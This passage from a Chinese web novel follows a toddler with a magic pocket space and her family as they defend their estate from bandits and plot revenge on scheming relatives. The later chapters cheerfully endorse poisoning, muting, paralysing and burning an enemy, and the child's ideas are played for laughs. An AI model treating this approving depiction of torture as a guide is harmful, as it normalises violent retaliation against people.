连接正门两侧的冰墙那边,倒还有些动静,但由于隔得太远,火光映照下人影晃动,看得不太仔细。喊打喊杀的声音是有的,但怎么听都觉得不对劲——不少声音清亮稚嫩,像是庄子内那些半大孩子发出来的,吵吵闹闹是有,充满了虚张声势的威胁和挑衅:“来呀!过来呀!”
“看小爷的弹弓!”
听声音,却一点都不像真刀真枪的实战,倒像是顽童们在玩打仗游戏。
孟沅最关心的还是西北角,那里没有高高的冰墙做屏障,只有临时设置的拒马和绊索,最容易攻破了。可侧着小耳朵仔细听了半天,那里居然动静也不大,只是偶尔传来一两声短促的闷哼或惊呼,很快又归于沉寂。
怎么回事?那些成群结队、据说凶神恶煞的亡命之徒,真的那么弱吗?孟沅忍不住眯起眼睛,小手搭在额前,努力想看得更清楚些。
同样的还是远,大宅本身就建在庄内地势稍高的地方,虽然不是正中心,但距离四面围墙都有不短的距离。
她奇怪地发现:另外三个方向,为了照明和威慑,都燃着不少火堆,照得通明。唯独西北角那最危险、按理说应该防护最严密的地方,却是乌漆嘛黑一片,非但没有燃起几堆像样的大火,连举着火把巡逻的人都看不到,只有零星几点微光,像是萤火虫在飘。
可偏偏就是那片黑暗里,偶尔会传出些奇怪的、像是重物倒地的声响,以及压抑的惨叫声。
也不怕灾民们趁黑作乱?这又是三十六计中的哪一计?是“请君入瓮”,还是“以逸待劳”?
孟沅挠了挠被风吹得有些凌乱的小鬏鬏,忍不住“阿嚏”一声,打了个小小的喷嚏。她这才后知后觉地发现自己没戴帽子,再低头一看身上——哎呀!只穿着中衣和夹袄,外面那件最厚实的棉衣不见了!
“呵呵,忘了红袖姐姐已经帮我脱了棉衣才睡的,难怪觉得身上冷飕飕的,风直往里钻呢。”
意念一动,回到屋里温暖的床上,她才发现自己是“穿”过屋顶进来的,果真,刚才“漂移”的两个点之间,直线距离并没有超过五丈。
她蹑手蹑脚地爬下床,摸黑找到自己的小棉袄、小棉裤,还有那顶带着绒球球的虎头帽,费力地穿上。再套上软底的小棉鞋,重新捏紧胎记。下一秒,她又进了空间,然后再一次回到了冷冷的屋顶。
这次是全副武装了。心里又是一阵发笑:“能穿透屋顶?是不是意味着……也可以穿墙?那我岂不是成了小穿山甲?”穿山甲还要费劲了,她啥劲都不用。
再看向那边黑不隆冬的西北角,这回孟沅平心静气,小脸严肃,屏住呼吸,一直盯着那片仿佛能吞噬光线的漆黑方向。
这一回,因为居高临下,心又静,总算让她看出了点猫腻。她看到那边偶尔有黑影,像巨大的、无声的蝙蝠,或者说是夜鸟,以极快的速度从高处掠过,姿态轻盈又诡异。
每一次黑影迅疾地俯冲而下,地面上好像就有什么东西软软地瘫倒下去,再无声息。(十五和十六若是知道小姐把他们比作蝙蝠,必然会有点不高兴,暗暗嘀咕:我们才不是蝙蝠,怎么都应该形容为捕食的巨鹰才更贴切神武嘛。)
“嘿嘿!”阿沅看懂了一点,心里乐开了花,小拳头轻轻一挥,“那是我的迷药,还有那些毒药粉,起了作用了!”
她记起来了,这些药发到护卫们手上的时候,孟大川是有过郑重强调的:“毒药只针对真正凶神恶煞、持械伤人的歹人。对于那些面黄肌瘦、只为了一口吃的沦为强盗的普通灾民,他们也是迫不得已,迷倒了拖出去便是,莫要害人性命。”
“那就不会两败俱伤,血流成河了。但是……那么多人,拖出去或者找个地方丢下、埋了,也挺费劲的呀。”阿沅忍不住同情起自己庄子里的护卫和佃户们来,小眉头微微蹙起,仿佛看到了他们累得气喘吁吁的样子。
再看向那更远处、属于仇人的白水庄方向,那边居然燃起了熊熊大火,火光映红了小半边夜空,隔着这么远,似乎都能感受到那股热浪和混乱。
“呵呵,太好了。”看到对手倒霉,这一次阿沅没忍住,得意的笑声像银铃一样,轻轻从唇边溢了出来。
“谁?谁在上面!”一声低沉的喝问骤然从下方响起,带着警惕。几乎同时,一道黑影如疾风般从廊檐下某处掠起,迅捷无比地朝着屋顶扑来!
孟沅吓得一个激灵,小脑袋猛地一缩,把自己迅速蜷成一个小球,然后用力捏紧掌心,心里大喊“回去回去!”瞬间便消失在原地,进入了绝对安全的随身空间。
但她消失前,耳朵还是捕捉到了外面那名暗卫略带疑惑、向堂内禀报的声音:“刚才……房脊上好像有个小小的人影,那身形……那声音……怎么有点像小姐。”语气里满是不确定。
端坐正堂内的孟大川一听,原本沉稳的面色微微一动,随即恢复如常,声音严肃:“休得胡言!小姐早已安睡。定是野猫踩踏瓦片,或是你眼花了。云娘,”
他转向妻子,语气温和下来,“你去阿沅屋里看看,别让她踢了被子,受了凉。”
谁都没注意到,他话虽说得笃定,却几不可察地轻皱了一下眉头,手指无意识地摩挲着茶盏边缘,心中似有所想,泛起一丝疑虑和担忧。
也幸亏柳氏进屋瞧女儿时,只是就着窗外透进的微光,看到她的小被子盖得好好的,一团隆起,便只爱怜地帮她掖了掖被角,没有伸手去掀开。不然,依然穿着棉衣棉鞋、只记得脱了棉帽的孟沅,这番奇怪的装扮,必然要露馅了。
第75章 拉钩,上吊,100年不许变
“昨晚咱们这边还算走运,就轻伤了两个护卫,财物倒是一点没少,可那围墙被撞坏了好几处——尤其是砍掉荆棘又没有冰墙的那几段,得赶紧找泥瓦匠砌起来才行。
白水庄那边可就惨了,被抢得干干净净,后来从咱们这儿退回去的那批灾民,又折返回去搜刮了一通,怕是连根针都没剩下。
他们庄上的护卫死了不少,但奇怪的是,死的没见着姓白的那一家子。大人,您说……他们会不会已经趁乱逃了?”
“眼下大雪封路,能逃到哪里去?十有八九还躲在宅子里,那种人家,指不定修了密室或者密道。”
“那属下派人日夜盯着,今晚再带人仔细探一探?”
“不必了。”孟大川摆摆手,眼中闪过一丝精明的算计,“就算此刻不在宅内,也必定在附近藏着。依我看,与其费人力去盯梢,不如让他们彻底死心。等雪一化,他们就动身回京城。这么一来……”
他嘴角微勾,露出一个意味深长的笑,朝孟柒招了招手,“附耳过来。”
孟柒立刻躬身凑近,孟大川压低了嗓音,如此这般地交代了一番。
第二天一早,孟沅迈着小短腿,晃晃悠悠地溜进爹娘的屋子时,正巧撞见孟柒和爹爹在说话。一见他们说悄悄话,她那双乌溜溜的大眼睛立刻亮了起来,小手扒着床沿,嘴里噗嗤噗嗤地使劲,小身子一扭一扭地就往床上爬——她可得听个清楚!
“白家虽说买卖做得不算顶大,在城里却也置了几个宅子和铺子。可一旦人都聚到了京城,那可就热闹了。他们少不了要去侯府闹腾,说不定还会厚着脸皮直接搬进去住呢。”孟柒的声音带着几分讥讽。
“他们就开始狗咬狗了吗?”阿沅好不容易爬上床,小脸红扑扑的,喘着气就插进来这么一句。那用词,那语气,活脱脱个小人精,连一向沉稳的孟柒都忍不住对她侧目,原本严肃的脸上漾开了一丝笑意。
“光是看着多没劲,”孟大川胸有成竹,伸手一把捞起女儿软乎乎的小身子,让她坐在自己坚实的臂弯里,“得给他们添点猛料,让他们打得再热闹些。”孟柒会意,低头退了出去。
“昨晚——是不是没好好睡觉?”孟大川转而看向臂弯里的女儿,脸色故意一板,让她的眼睛无处躲闪,只能直愣愣地看着自己。
阿沅心里一咯噔,知道昨晚趴房顶的事瞒不过爹爹了。她立刻瘪了小嘴,长长的睫毛耷拉下来,声音细得像蚊子叫:“就……就看了一下下,黑乎乎的,啥都看不清嘛。”边说边偷偷抬眼,瞅爹爹的脸色。
听到她没看见什么血腥场面,孟大川心里暗暗松了口气,脸色稍稍缓和。没被吓着就好,只是不懂凶险,到底还是淘气了些。
可阿沅紧接着又嘟囔了一句,小脸皱成一团:“(屋顶上)可冷可冷了,呆不久。”
“呵,你还知道冷?”孟大川被她这又怂又贪玩的模样逗乐了,哭笑不得地轻拍了一下她的小屁股,“怎么不干脆上天摘月亮去?”这一下拍得不重,满是嗔怪与疼爱,算是小惩大诫。
他随即正色警告道:“以后想干什么‘大事’,记得先跟爹爹通个气。”其实心里的那点后怕和气恼,早被女儿这模样驱散了。他昨晚回想起来还真有些悬,这小丫头要是被暗卫当贼逮着了,可不好解释。
“不能说,”阿沅却把小脑袋摇得像拨浪鼓,一本正经地反驳,“爹爹不能上瓦。”她心里还委屈呢,要是爹爹或者哥哥能陪着,她才乐意在屋顶上看一晚上热闹呢,好歹有个伴,又暖和,还不用提心吊胆躲着人。
再说,她一个三岁的小娃娃,一个人呆在上面,难道不会害怕吗?想着想着,小嘴巴嘟得更高了。
“哟,这是嫌弃爹爹腿脚不利索了?”孟大川看她那小模样,心都要化了,故意逗她,伸手轻轻捏了捏她翘挺的小鼻尖。“等爹爹的腿好利索了,爹爹也带你‘飞高高’,夏天晚上,咱们就到屋顶上乘凉,捉萤火虫,看星星,好不好?”
“爹爹说话算数?”阿沅的眼睛瞬间亮晶晶的,充满了期待。
“当然算数。”
“拉钩!”她立刻伸出胖乎乎的小指头。
“好,拉钩。”孟大川也笑着伸出小指。
父女俩的小指紧紧勾在一起,阿沅摇晃着两人相连的手,用清脆的童音一字一句地念道:“拉钩,上吊,一百年,不许变!”
第76章 更加疯癫的孟怀瑾,快绝户的大房
那一次跟灾民的冲突后,庄子外、附近村庄、乃至整个镇子都很安静,几乎没见一个人,连平日里惯常出没的野狗都不见了踪影。
附近的村民可能也是怕了,个个闭门不出,门窗关得严严实实,只在缝隙后藏着惊疑不定的眼睛,偶尔有炊烟升起,也显得瑟缩而胆怯,生怕再招来什么祸事。
第四天,日头暖了些,积雪化得泥泞,终于有胆子大的村民开始试探着走动,先是探出头张望,见四下无声,才慢慢挪出家门,村路也有了稀稀落落、小心翼翼的人行走的迹象,也有的三三两两开始出来晒太阳。
嘉禾庄那两扇沉重的榆木大门,也在这个冬天过后第一次,“吱呀呀”地被缓缓推开,沉闷的声响传得老远。
“开门了,开门了!”早就扒在门缝后眼巴巴等着的孩子们,顿时像得了赦令,撒开脚就往外冲,跳脱得如同脱缰的野马,又如同囚了许久的雀儿终于见了天日,嘴里发出无意义的欢叫,在湿漉漉的泥地上踩出凌乱又鲜活的脚印。
“慢着点!外面还不是一样的天地,别走远了,世道还乱着呢。”大人们虽是这么扯着嗓子嗔骂,脸上却也挂着如释重负的轻快,三三两两,互相招呼着,不紧不慢地往门口的方向去,深深吸着门外清冷又自由的空气。
“可算是能出去了,赶紧出去透透气,一个冬天憋在这庄子里,我快闷出霉来了!”有人伸着懒腰感慨。
林庄头提着面铜锣,“哐哐”地敲着,洪亮的声音在庄子里回荡:“出去瞅上几眼就赶紧回来!围墙那头的活计还多着呢,缺口都得补上,别光顾着野!”他主要冲着那些跑得最快的青壮年喊,目光却扫视着所有人。
“出去的人可别落单,都集中在一处,别到处乱跑。”
“门房,让他们浪完了赶紧回来,申时准点关门。”
……
“小姐,小姐!快点起床,出去玩了!大院的门开了,庄子的门也开了,庄子里的人都跑出去啦!”几个孩子里莲子得消息最快,她性子急,一大早就把阿沅的房门拍得砰砰响,像擂鼓一样,清亮的声音里满是迫不及待的兴奋。
“真的?爹爹怎么没告诉窝?还有柒叔……好过分,都瞒着窝!”阿沅正睡得迷迷糊糊,一听这话,立时清醒,一骨碌从暖和的被窝里爬起来,眼睛还没完全睁开,就急着往外窜,中衣带子都没系好。
刚冲到门边,就被早有预料、守在一旁的绿果和红豆逮了个正着。
“我的好小姐,外头冷,衣裳总得穿周全了,鞋子也得穿好!”跟出来的红袖又好气又好笑,手脚利落地把她捉回来,按在妆台前,和绿果、红豆一起,七手八脚地给她穿戴梳洗。
今天阿沅穿得没往日那么臃肿,一身茜红色小袄配着杏色棉裙,头发梳成双丫髻,扎着同色的发带,显得格外精神。
许是这些日子扎马步有了成效,她站得稳当,脚下也快,一收拾妥当,就像颗小炮仗似的冲了出去。
莲子和红袖一左一右紧紧跟着,嘴里不住喊着“慢点”,后面不紧不慢跟着绿果和红豆。几个穿着不同颜色衣裳的小不点,在还有些冷清的庄道上快速移动,叽叽喳喳,宛如一道滚动的、鲜亮活泼的风景线。
奇怪的是,平时阿沅稍微跑跳些总要出来叨上几句“没个姑娘样子”的柳氏,今日竟没见踪影,也没派人来拦,婆子们也乐呵呵的。
阿沅一边跑一边心里犯嘀咕,气鼓鼓地想:娘亲肯定是自己偷偷跑出去看新鲜了,居然没喊上她!好过分!好过分!
一出了嘉禾庄的大门,眼前顿时开阔热闹起来。外头空地上聚了好些人,大多都是自家庄子的佃户和家仆,许多面孔熟悉却许久未见,纷纷招呼起来,作揖的人也不在少数。
尤其是那些佃户家的孩子,平日虽然没有完全拘在各自院里,但是也难得这么齐全地凑在一处。阿沅一来,立刻成了最受欢迎的那个,被孩子们簇拥在中间,这个拉她去瞧化冰的溪沟,那个邀她玩新想出的游戏,没一会儿就玩闹在了一起,一个个小脸红扑扑的,笑声又脆又亮。
阿沅玩得兴起,连早饭都忘了吃,还是绿果细心,看着日头估摸着时辰,悄悄回大院厨房取来了几块温热的枣泥山药糕,才没让她饿着肚子疯玩。
然而,阿沅和这群沉浸于久违自由与欢闹中的孩子们并不知道,就在庄子大门口这片祥和热闹的不远处,庄子的西北角那边,正上演着一场截然不同、令人心惊的混乱。
出事的是孟怀瑾。只见他不知从何处奔出,寝衣外只穿着单薄的袄子,外头再胡乱裹了件扯破的夹袍,衣衫不整,襟口大敞,头发凌乱披散,脸上沾着污迹,眼神涣散空洞。他脚步踉跄,却跑得飞快,嘴里反复念叨着破碎的句子:“读书……要科考了,得读书……不能懈怠……”
“夫子……夫子,学生回来了,学生这就用功……定能考上……”
他像是完全看不见旁人,也辨不清方向,竟从那处因冲突受损、还未完全修葺好的围墙缺口处,深一脚浅一脚地冲了出去。
碎砖烂木刮破了他的衣摆和手臂,他也浑然不觉。冲出庄子几十步,外头是化雪后泥泞不堪的田埂,他接连跌了好几跤,每一次都摔得狼狈,泥浆溅了满身满脸,可每次又都挣扎着爬起来,继续往前疯跑,方向竟是白水庄附近和更远处镇子的方位。
过了两盏茶功夫,围墙内的声音乍起。
“墨竹!纸槐!你们两个杀才!怎么看顾少爷的?眨眼功夫就出了这么大纰漏!还不快去找!找不见少爷,你们就提着自己的脑袋来见!”一个管事模样的中年男子急得脸色铁青,跺着脚厉声怒骂,声音都劈了叉。
旁边几个小厮模样的人吓得面如土色,被骂得不敢抬头。
“还愣着干什么!备马!庄子里能动的男丁,除了守门的,全都给我出去找!分头找!”护卫强自镇定地指挥,但微微发颤的手指出卖了他的恐慌。场面一时闹哄哄乱成一团,惊呼声、催促声、马蹄声混杂。
有婆子出门就拍着大腿,带着哭腔喊道:“少爷就穿这么少跑出去的,这冰天雪地才化……天老爷啊!这要是冻着了,或是跌进哪个水塘里……嗨!完了完了!”
几个被派出去寻人的小厮和婆子,慌不择路,见到路上有行人,或是躲在屋角檐下晒太阳的村民,就扑上去抓住急问:“这位老哥(大嫂),可看见我们少爷没?十三四岁年纪,身量比我高些,穿得单薄,疯疯癫癫的,会说胡话!”
被问的村民先是被这阵势吓一跳,待听明白,有的茫然摇头,有的则恍然道:“哎呀!是有一个这样的后生,瘦的好像没几天没得吃了一般,往镇子那边跑去了,跑得可快了!你们怎么现在才找呀?迟了迟了,怕都跑出好几里地了!”
更有人补充:“得有半个多时辰了吧?我们还以为是哪来的疯乞丐,也没敢多管闲事……”
“完了,这下全完了!”一个婆子眼泪都出来了,压低声音却又忍不住对同行的人叨念,“你们是不知道,夫人刚才在屋里听说少爷跑了,急火攻心,当场就吐了好几口黑血,还想自己亲自出来找,可没出院子门就浑身发软,跌了十几跤,最后被人硬扛了回去……这要是少爷真找不回来,夫人怕是……怕是撑不了几天了。”
旁边另一个婆子也抹着眼泪,声音里满是凄惶:“我们大房这是造了什么孽啊!老爷……老爷那样了,夫人又……少爷再有个三长两短,剩下那个不懂事的小小姐可怎么活?这安平侯府的大房,眼瞅着就要……就要绝户了呀!”
这些话,有意无意地,顺着风飘进了围观者的耳朵里。那些原本只是好奇张望的附近庄户、路过行人,此刻都竖起了耳朵,脸上露出或同情、或唏嘘、或探究的神色。
安平侯府大房?那个住在嘉禾庄里的竟是侯府贵人?竟落得如此凄惨境地——当家的老爷烧得只剩半口气?夫人病入膏肓吐血不止?唯一的少爷疯了跑了?只剩个三岁小女娃?啧啧,真是可怜至极,怕是离彻底败落、香火断绝不远了。
人群外围,三个其貌不扬、农户打扮的男子,一直冷眼瞧着这场混乱。他们扎在人堆里,起初跟着凑热闹,后来更是扯住几个看上去嘴碎知情的孟家婆子,一脸关切地问东问西,打听细节。
待听得差不多了,三人交换了几个细微的眼神,便悄没声息地退出人群,脚步匆匆,却是径直往白水庄的方向去了。
亲眼看着那三人消失在白水庄的大宅方向,一直隐在暗处阴影里的孟柒,嘴角几不可察地动了一下,随即发出一声短促而清晰的口哨。
哨音刚落,他便转身,快步朝庄内的院落飞奔而去。而远处,两道矫健如狸猫的身影——正是十五和十六,在听到哨音指示后,毫不犹豫,身形一展,便朝着白水庄的大宅潜伏了进去。
第77章 那就让她没有手
白水庄的正堂内,窗扉紧闭,炭盆里的火半死不活地燃着,烟气有些闷人。
萎靡了几天的白弟城,此刻却一扫颓唐,背脊挺直了些,静静地听完了手下人的详细汇报。
他枯瘦的手指一下一下,轻叩着身下太师椅的黄花梨木扶手,发出笃笃的轻响,原本紧锁的眉头渐渐舒展,甚至嘴角边勾起一丝难以察觉的、如释重负的冷笑。
“爹!”一旁的白继祖几天没沾着油水,脸色有些发黄,但那个圆滚的肚子依然颤巍巍地挺着。
他满眼放光,凑上前压低声音,带着一股狠戾的兴奋,“要不要……咱们再去放一把火?趁他病,要他命!”他做了个下劈的手势。
“放什么火!”白弟城猛地停下叩击,斜睨了儿子一眼,眼神里带着训斥和谨慎,“都到了这步田地,他们自己离死不远了,还需要我们冒这种险?你是嫌命长,还是嫌衙门的大牢空着?”
他顿了顿,声音压得更低,却字字清晰,“我听说,镇子里衙役增加了不少,日夜巡查,就等着抓带头闹事、杀人放火的典型,好向上头交差呢!”
衙门不可能一直不作为,特别是在这雪化即将春耕的时候。听说这段时间,像他们这样报了官、声称被灾民抢掠的“苦主”都已经排成了几排。
接下来,谁再敢挑头生事,绝对是杀鸡儆猴的那只“鸡”。这一点,白弟城自认看得比他那莽撞的儿子清楚得多。
“那……那就任由他们自生自灭?”白继祖有点犹豫,搓了搓肥厚的手掌,忽然想起什么,脸上露出为难之色,“那我娘(老宋氏)那边……如何交代?她可是发了话,不看到那一家子彻底断气,绝不甘心的。”
“交代?什么交代!”白弟城从牙缝里挤出声音,带着几分不耐和决绝,“我已经忍的够久了。难不成要我们一家老小一直在这鬼地方喝西北风,陪着他们耗到死?先回去再说!横竖他们死绝,也就是这几个月的事了,老太太等得起也得等,等不起……”
他后面的话没说完,但眼中寒光一闪,咬着满口被烟熏黄的牙,斩钉截铁道,“叫你媳妇她们,把剩下的东西赶紧收拾利索了,路一通,我们马上——回京!”
“好的,爹!我这就去!”年已不惑的白继祖一听这话,高兴得几乎要跳起来,脸上的肥肉都兴奋地抖动着,那模样竟宛如七八岁得了糖果的孩童,屁颠屁颠地转身,忙不迭地招呼自己老婆孩子收拾行囊去了,仿佛多待一刻都是煎熬。
屋顶上,两道几乎与瓦顶融为一体的黑影,将堂内这番对话听得一字不落。两人相互对望一眼,微微点了点头,然后将轻轻挪开的瓦片依原样粗略盖好,身形如狸猫般轻盈,悄无声息地迅速退出白水庄,向着嘉禾庄的方向疾掠而去,只余寒风微微拂过屋瓦。
……
“要走了?”嘉禾庄内,孟大川听了孟柒的汇报,略感意外。
他半靠在榻上,身上盖着锦被,脸上病容已经消失殆尽,但眼神锐利,“还以为他们不见棺材不落泪,非得等到我们……全部咽气的那一天才会撤呢。这时候就打退堂鼓了?”这倒有些出乎他的预料。
坐在一旁椅子上的孟怀瑾,养了几个月,也没见多长点肉,但眼神清明。他摇了摇头,声音平稳:“即使孟二泉自己不急,那老太婆也绝不会善罢甘休。她苦心谋划这么多年,眼看只差临门一脚,岂会轻易放弃?”
柳氏正坐在床边,闻言也转过头来。她怀里鼓鼓囊囊的,闻言轻轻拍了一下被窝,接口道:“就她那把年纪,行将就木,不急才怪呢!怎么都得在闭眼前看到孟二泉名正言顺地继承爵位,把大房的一切彻底握在手里,不然这阵子也不会像疯狗一样,使出那么多下作手段。”她语气里带着深深的厌恶。
“那就让她没有手——屎掉(死掉)!”一个软糯却带着狠劲儿的声音忽然从柳氏怀里的被窝中迸出来。只见被子被顶开一道缝,一颗毛茸茸的小脑袋钻了出来,头发睡得有些乱,翘起几根呆毛,正是阿沅。
她黑葡萄似的大眼睛亮得惊人,丝毫不见睡意,显然偷听了许久。此刻,她一只小手猛地从被窝里伸出,手里竟还举着个小小的青瓷药瓶,瓶身冰凉。
她挥舞着小瓶子,语气又急又狠,偏偏配上那稚嫩的脸蛋和软糯的嗓音,形成一种奇异反差:“毒屎(死)她!”
屋内四人同时看向她,脸上虽然惊讶,情绪却不起伏,仿佛这话从这三岁小娃嘴里说出来,已不算稀奇,而是应当。
孟柒甚至眼睛一亮,脸上掠过一丝兴奋,他立刻单膝点地,朝着阿沅的方向,声音洪亮:“孟柒全听小姐吩咐!”然后,他抬起头,一脸期待地看向孟大川,“大人,您看是不是……”那意思再明显不过,跃跃欲试。
柳氏和孟怀瑾闻言,眼神也是一动,脸上露出思索和些许期待。
柳氏心想:若是那老虔婆真就此死了,小宋氏又是个半瘫动弹不得的,马上就能去掉最大的心腹之患,剩下一个孟二泉,虽也阴毒,但没了老母出谋划策、坐镇后方,又有朝堂羁绊,无疑要好对付得多。
孟怀瑾亦是微微颔首,觉得快刀斩乱麻,似乎也不错。
“死?”孟大川却轻轻皱起眉头,手指无意识地敲着榻边,也朝孟柒勾了勾手,他却没有起来。
孟大川想得显然更多、更远,“死了……是不是太便宜了她?”
他目光扫过妻儿和孟柒,缓缓道,“我们要的,不仅仅是她死。孟二泉既是奸生,就必须从族谱剔除,老宋氏、二房的名字,也一样不能玷污侯府名声。”他要的是从根子上,将二房这一系彻底抹去合法性。
第78章 毒哑她
“还有孟怀堂和孟绫,他们都是大坏蛋!”阿沅口齿比从前伶俐了不少,不在称呼什么堂哥堂姐。
她小牙齿咬得咯咯轻响,掰着手指头数,眼里闪着“智慧”的光芒,“一个(孟怀堂)疯了再屎(死),一个(孟绫)卖进窑子——也屎(死)!”她觉得自己这安排简直天衣无缝,坏人都有坏报。
孟大川听得哭笑不得,连忙伸手轻轻捂住了女儿叭叭的小嘴,低声道:“阿沅,别胡说。”他心里想,这样的狠话,自家人知道就好,最好孟柒听不清、听不懂,免得觉得他女儿太过……嗯,不是狠毒,是早慧。
却完全没想到,孟柒听完小姐这番话,几乎想当场俯首膜拜了。
短短几个月,见识了那家人的恶毒无耻,要是放在北疆战场上,他早可以一刀抹了对方脖子,再大卸八块,何等痛快!哪像现在,瞻前顾后,弯弯绕绕,烦死个人。小姐这直捣黄龙的“气魄”,深得他心!
看所有人都带着点不解看向自己,主要是针对“死了太便宜”这个观点,孟大川理了理心绪,松开捂着阿沅嘴的手。
看向还在嘟着嘴、有点不服气的小女儿,耐心解释道:“阿沅想想,坏人一下子死了,什么都不知道了,是不是就再也不难受了?哪有让她活着,却动弹不得,眼睁睁看着自己在意的一切都失去,一天天受罪,让别人看着……更舒服呢?”他试图用孩子能理解的方式,阐述“生不如死”的意味。
想到书中柳氏被毒哑喉咙,被粗绳捆绑着,绝望地推上那辆送往乞丐窝的马车,最后凄惨死去的场面,阿沅小身子一颤,黑眸中火光更盛,再次出声,这次目标明确:“毒哑她!”让她也尝尝有口难言的痛苦!
这一次,孟大川终于缓缓点了点头,眼中闪过一丝冷厉的赞同。
阿沅见爹爹点头,立刻得寸进尺,小脑袋瓜飞速运转,又奶凶奶凶地追加一句:“又聋又哑!”让她听不见谄媚,也说不出恶言,更不能出谋划策!
这一次,屋内所有人都没再露出意外神色。柳氏、孟怀瑾、孟柒,甚至孟大川,看着那小不点一脸认真盘算着如何让人更痛苦的模样,眼神都有些复杂,里面似乎闪动着些不一样的东西——有痛心,有狠决,也有一种被残酷现实催生出的、冰冷的默契。
阿沅似乎觉得自己想出了绝妙的主意,忽然咧嘴笑了,笑容在稚嫩的脸上显得有些“无耻”,她补充了终极方案:“瘫在床上,只有眼珠子能动!”像小宋氏那样,但要比小宋氏更惨,连哼哼都做不到。
柳氏闻言,心头猛地一酸,一股钝痛蔓延开来。她和孟大川一起,紧紧搂住女儿小小的、温热的身子。
她深吸一口气,压下喉间的哽咽,点头,声音平静却带着刻骨的寒意:“好。阿沅帮娘往她嘴里塞冰块,或是……放一根烧得红红的铁炭,让她也好好尝一尝,这其中的滋味。”以其人之道,还治其人之身。
孟大川看着怀中的妻女,一个温柔隐忍如今染上锋锐,一个天真稚嫩却已学会睚眦必报,心中涌起一阵复杂的情绪,但最终化为一声轻叹和眼底的坚定:这样有恩报恩、有仇报仇的夫人和女儿,他喜欢,也必须要护她们周全,让她们能痛快地报这血海深仇。
他的目光随即转向一旁的儿子孟怀瑾。孟怀瑾被他看得莫名一凛,肩膀瑟缩了一下,心里嘀咕:怎么感觉爹爹看我的眼神,好像有点……嫌弃?是嫌我不够狠,还是嫌我太文弱?
柳氏回想起第一次听女儿说出类似狠毒的话时,自己内心是何等的害怕和颤抖,生怕女儿被仇恨吞噬,长成狠厉乖张之人。可现在,她一片坦然,甚至觉得女儿做得对,想得周全。这不过是以其人之道还治其人之身,而且比起那家人对她们所做的,这还远远不够!
若是哪日她能回归侯府,定要亲手将老宋氏置于炭火之上,让她亲身尝尝全家离散、自己不得好死的滋味!
阿沅可没想那么多,她黑葡萄似的大眼睛滴溜溜一转,落在了已经站得笔直的孟柒身上,目光清澈见底,形容天真无邪,问出的问题却关乎行动效率:“柒叔,窝们更快,四不四?(我们动作更快,是不是?)”
“自然!”孟柒腰板挺得更直,一脸傲娇,眼中闪着属于战士的锐光,“血洗完侯府,办妥小姐交代的事,他们的马车也最多才走到半路。”
他眼前仿佛已经看到了战场清扫、大获全胜的场景。即使自己不能亲手在战场上冲杀,能跟着小姐这样有仇必报、思路清奇(且有效)的主子,看着仇人得到报应,也一样解气。
若是以后真的再不能重回北疆沙场……他悄悄看了看沉静的孟大人,又看了看古灵精怪的小姐,心中的天平,似乎微微倾斜了那么一点。
“太好了!”阿沅一听,立刻高兴起来,小拳头一挥,开始分配任务,“窝准备毒药,柒叔喂好马马(马)。”她已经自动进入了“二进安平侯府”的备战状态,小脸上满是跃跃欲试。
嘿嘿,上次去得太匆忙,主要是探路和初步报复,太便宜孟绫和孟怀堂那两个坏种了。这次她得好好想想,就算暂时给他们留条命在(爹爹好像不喜欢直接弄死),也绝不能让他们太好过!
烧蚂蚁?泼冰水?还是……她黑亮的眼珠转啊转,里面闪烁着“智慧”的火花。
孟大川:“……”
(你们是在无视我么?就这么当着我的面,把下毒、弄哑、弄瘫、血洗侯府……一系列流程都安排好了?连三岁女儿都开始准备“毒药”了?我这当爹的,还没最终拍板呢!)
他看着瞬间进入“复仇筹备会议”状态的妻女和部下,忽然觉得额头有点疼,心里那点关于“女儿是否过于狠辣”的忧虑,瞬间被眼前这荒诞又无比认真的场面冲淡了不少。
第79章 拦截侯府的信。
“大人,那边果然等不及了。”
阿沅刚吃完中饭,小肚子溜圆,像只满足的小猫似的赖在爹爹松软的被褥里。
她正打着哈欠,用小脸蹭着枕头上的竹叶绣纹,盘算着要窝在爹爹身边美美睡个囫囵觉,孟柒就带着一身外头的凉气,大踏步走了进来。
他神色比平日更显凝重,靴子踏在地板上发出干脆的声响,径直上前,双手呈上一封书信。那信封触手冰凉,还氤氲着一丝未散的寒意,像是刚从冰窖里取出,又或是被快马加鞭送来,沾透了夜露晨霜。
“计划可如愿?办完了回京!别磨蹭。”孟大川抽出里头薄薄半截信签,上面只潦草地写着这么两句话,末尾那几个墨点浓重、笔锋尖锐的大问号,却几乎要戳破纸背。
若是没有阿沅先前那个预示不祥的梦,任谁看了,或许都会以为这只是京城那边一句简单而急躁的问候。可此刻,这寥寥数字却像淬了毒的针,直直刺向人心。
“这字迹,张狂跋扈,转折处带着股子刻意压下去的狠劲儿,果然是那老太婆的手笔!”孟大川的目光骤然冷冽,胸腔里腾起一股压不住的怒火,手指猛地收紧,将信笺狠狠捏成了一团,纸张发出不堪重负的细微呻吟。
“老太婆……等不及……想吃席了?”阿沅的小脑袋从被窝里钻出来,头顶两个睡歪了的小揪揪随着动作轻轻晃动。她眨巴着黑白分明的大眼睛,里头映着跳跃的烛火,竟难得没有像大人那样怒火中烧,反而充满了孩子气的好奇,仿佛只是在探讨一个有点古怪的话题。
孟柒见状,上前一步,压低了嗓音请示:“大人,这信……不给他们白水庄那边送过去瞧瞧?”
孟大川从鼻子里哼出一声冷笑,手心里的纸团已被揉捏得不成样子。“不必了。”他语气斩钉截铁,“他们心里早有了回程的盘算,脚底板怕是都痒了。这信送不送,他们回去都自有一套说辞,何必多此一举。”
说着,他松开紧握的拳,手指将那团纸弹了出去。大手转而落在旁边那颗毛茸茸的小脑袋上,带着厚茧的掌心轻轻抚过阿沅细软的发丝,那轻柔的触碰与他方才的怒容判若两人。
他的目光转向孟柒,语气变得沉稳而决断:“阿柒,以你现在的身手,带着小姐,眼下能寻到路出去了吗?”
此言一出,原本还懒洋洋窝着的阿沅立刻像只被惊动的小雀儿,“腾”地一下挺直了小身板,耳朵都仿佛竖了起来,圆溜溜的眼睛里闪烁着紧张又兴奋的光芒,完全明白“出去”,是一场即将开幕的大戏,而她已做好了登台的准备。
孟柒眼中骤然爆发出明亮的光彩,他单膝跪地,抱拳的动作干净利落,声音因激动而微微发颤:“能!属下日夜探察,早已摸清路径。回城之路十之八九已通畅,仅余两处险峻山脊,马匹确实难以通行,但对属下及几位擅长轻身功夫的兄弟而言,只要不携带重物,翻越并非难事。至于小姐——”
